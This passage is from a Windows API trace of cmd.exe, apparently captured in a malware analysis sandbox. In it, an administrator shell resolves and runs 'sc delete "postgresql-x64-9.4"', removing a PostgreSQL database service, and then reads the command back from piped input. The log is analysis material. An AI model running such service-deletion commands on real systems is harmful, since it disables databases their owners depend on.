lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x1f, lpOverlapped=0x0) returned 1 [0066.873] GetProcessHeap () returned 0x1b0000 [0066.873] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0066.873] GetProcessHeap () returned 0x1b0000 [0066.873] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0066.873] GetProcessHeap () returned 0x1b0000 [0066.873] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0066.873] GetProcessHeap () returned 0x1b0000 [0066.873] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0066.873] GetProcessHeap () returned 0x1b0000 [0066.873] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4a) returned 0x1cba10 [0066.873] GetConsoleOutputCP () returned 0x1b5 [0066.873] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.873] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.873] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.874] GetProcessHeap () returned 0x1b0000 [0066.874] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0066.874] GetProcessHeap () returned 0x1b0000 [0066.874] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x50) returned 0x1c9b30 [0066.874] GetProcessHeap () returned 0x1b0000 [0066.874] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc590 [0066.874] SetErrorMode (uMode=0x0) returned 0x1 [0066.874] SetErrorMode (uMode=0x1) returned 0x0 [0066.874] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc5a0, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0066.874] SetErrorMode (uMode=0x1) returned 0x1 [0066.874] GetProcessHeap () returned 0x1b0000 [0066.874] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc590, Size=0x62) returned 0x1cc590 [0066.874] GetProcessHeap () returned 0x1b0000 [0066.874] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc590) returned 0x62 [0066.874] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0066.874] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0066.874] GetProcessHeap () returned 0x1b0000 [0066.874] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0066.874] GetProcessHeap () returned 0x1b0000 [0066.874] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0066.874] GetProcessHeap () returned 0x1b0000 [0066.874] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0066.874] GetProcessHeap () returned 0x1b0000 [0066.874] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0066.874] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0066.874] GetProcessHeap () returned 0x1b0000 [0066.875] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c97e0 [0066.875] GetProcessHeap () returned 0x1b0000 [0066.875] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c97e0, Size=0x7e) returned 0x1c97e0 [0066.875] GetProcessHeap () returned 0x1b0000 [0066.875] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c97e0) returned 0x7e [0066.875] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.875] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.875] GetLastError () returned 0x2 [0066.875] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.875] GetLastError () returned 0x2 [0066.875] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0066.875] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9870 [0066.875] FindClose (in: hFindFile=0x1c9870 | out: hFindFile=0x1c9870) returned 1 [0066.875] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0066.876] GetLastError () returned 0x2 [0066.876] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9870 [0066.876] FindClose (in: hFindFile=0x1c9870 | out: hFindFile=0x1c9870) returned 1 [0066.876] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0066.876] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0066.876] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.876] GetProcessHeap () returned 0x1b0000 [0066.876] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0066.876] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0066.876] GetProcessHeap () returned 0x1b0000 [0066.876] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xb6) returned 0x1c9180 [0066.876] GetProcessHeap () returned 0x1b0000 [0066.876] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xb6 [0066.876] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"postgresql-x64-9.4\"") returned 1 [0066.877] GetProcessHeap () returned 0x1b0000 [0066.877] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0066.877] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0066.877] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0066.877] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0066.877] GetProcessHeap () returned 0x1b0000 [0066.877] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0066.877] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.878] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0066.878] GetProcessHeap () returned 0x1b0000 [0066.878] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0066.878] GetProcessHeap () returned 0x1b0000 [0066.878] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0066.878] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"postgresql-x64-9.4\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"postgresql-x64-9.4\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete \"postgresql-x64-9.4\"", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x270, dwThreadId=0x344)) returned 1 [0066.883] CloseHandle (hObject=0x54) returned 1 [0066.883] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0066.883] GetProcessHeap () returned 0x1b0000 [0066.883] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba70 | out: hHeap=0x1b0000) returned 1 [0066.883] GetEnvironmentStringsW () returned 0x1cba70* [0066.883] GetProcessHeap () returned 0x1b0000 [0066.883] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0066.883] FreeEnvironmentStringsW (penv=0x1cba70) returned 1 [0066.883] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0066.883] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd6000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0066.883] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0066.929] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0066.929] CloseHandle (hObject=0x50) returned 1 [0066.929] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0066.929] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0066.929] GetProcessHeap () returned 0x1b0000 [0066.929] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0066.929] GetEnvironmentStringsW () returned 0x1d1b10* [0066.929] GetProcessHeap () returned 0x1b0000 [0066.929] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba70 [0066.929] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0066.929] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.929] GetProcessHeap () returned 0x1b0000 [0066.929] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba70 | out: hHeap=0x1b0000) returned 1 [0066.929] GetEnvironmentStringsW () returned 0x1cba70* [0066.929] GetProcessHeap () returned 0x1b0000 [0066.929] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0066.929] FreeEnvironmentStringsW (penv=0x1cba70) returned 1 [0066.929] GetProcessHeap () returned 0x1b0000 [0066.929] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0066.929] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0066.929] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0066.930] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.930] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0066.930] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.930] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0066.930] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.930] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0066.930] GetConsoleOutputCP () returned 0x1b5 [0066.930] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0066.930] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.931] GetProcessHeap () returned 0x1b0000 [0066.931] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0066.931] GetProcessHeap () returned 0x1b0000 [0066.931] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0066.931] GetProcessHeap () returned 0x1b0000 [0066.931] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0066.931] GetProcessHeap () returned 0x1b0000 [0066.931] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc590 | out: hHeap=0x1b0000) returned 1 [0066.931] GetProcessHeap () returned 0x1b0000 [0066.931] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0066.931] GetProcessHeap () returned 0x1b0000 [0066.931] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0066.931] GetProcessHeap () returned 0x1b0000 [0066.931] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0066.931] GetProcessHeap () returned 0x1b0000 [0066.931] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0066.931] GetProcessHeap () returned 0x1b0000 [0066.931] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0066.931] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0066.931] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.931] GetFileType (hFile=0x120) returned 0x3 [0066.931] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.931] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0066.931] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0066.931] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0066.931] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.931] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0066.931] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0066.931] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.931] GetFileType (hFile=0x120) returned 0x3 [0066.931] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.932] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0066.932] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0066.932] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.932] GetFileType (hFile=0xb8) returned 0x3 [0066.932] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.932] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.932] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.932] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.932] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.932] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.932] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.932] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.932] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.932] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.932] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.932] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.932] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.932] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.932] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.933] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.933] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.933] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.933] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.933] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.933] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.933] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.933] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.933] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.933] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.933] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.933] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.933] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0066.933] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.933] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.933] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0066.933] 